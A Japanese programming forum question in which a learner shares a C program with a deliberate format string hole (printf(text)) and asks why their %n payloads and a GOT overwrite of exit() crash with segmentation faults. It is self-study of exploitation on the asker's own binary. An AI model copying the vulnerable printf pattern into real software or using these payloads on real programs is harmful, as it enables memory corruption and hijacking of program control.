前回よりレベルアップ致しました。
主にアドレス表現がうまくいきません。
参考URL↓
リンク内容
実験コードは以下のようにしました。
C
1#include <stdio.h> 2#include <stdlib.h> 3#include <string.h> 4 5int main(int argc, char *argv[]) 6{ 7 char text[1024] = {0}; 8 int test_val = -72; 9 strcpy(text, argv[1]); 10 11 printf("正しい方法:\n"); 12 printf("%s", text); 13 14 printf("\n誤った方法:\n"); 15 printf(text); 16 17 printf("\n"); 18 19 // Debug output 20 printf("[*] test_val @ 0x%08x = %d 0x%08x\n", (unsigned int)&test_val, test_val, test_val); 21 printf("[*] text @ 0x%08x = %u 0x%08x\n", (unsigned int)text, *((unsigned int *)text), *((unsigned int *)text)); 22 exit(0); 23}
#1、test_valのアドレスの書き換えです。
64bitでコンパイルしました。Linux環境でALSR無効状態です。
[*] test_val @ 0xffffdd9c = -72 0xffffffb8
./test %10$n$(printf "\x9c\xdd\xff\xff")
これだとsegmentation fault になってしまいます。
参考URLを元に
./test "%10$n\x9c\xdd\xff\xff"
これも同じく、segmentation faultになってしまいます。
どうすれば、よいでしょうか??
#2、GOT overwriteでexit()のアドレスを別のアドレスに書き換えたい。
こちらは、32bit環境でおこないました。
exit()のアドレスを0xffffffeeというアドレスに書き換えたいのです。
objdump -R ./test32
とやると、
exit() : 0x00002018
と出てしまいました。
これでは、0があるので、できません。
これは諦めるしかないんでしょうか?
一応、やってみました。
./fmt_vuln $(printf \x1a\x20\x00\x00\x18\x20\x00\x00)%65527x%8$hn%56249x%9$hn
これでは、segmentation faultになります。
どうすれば、よいでしょうか??
おしえてください。
あなたの回答
tips
プレビュー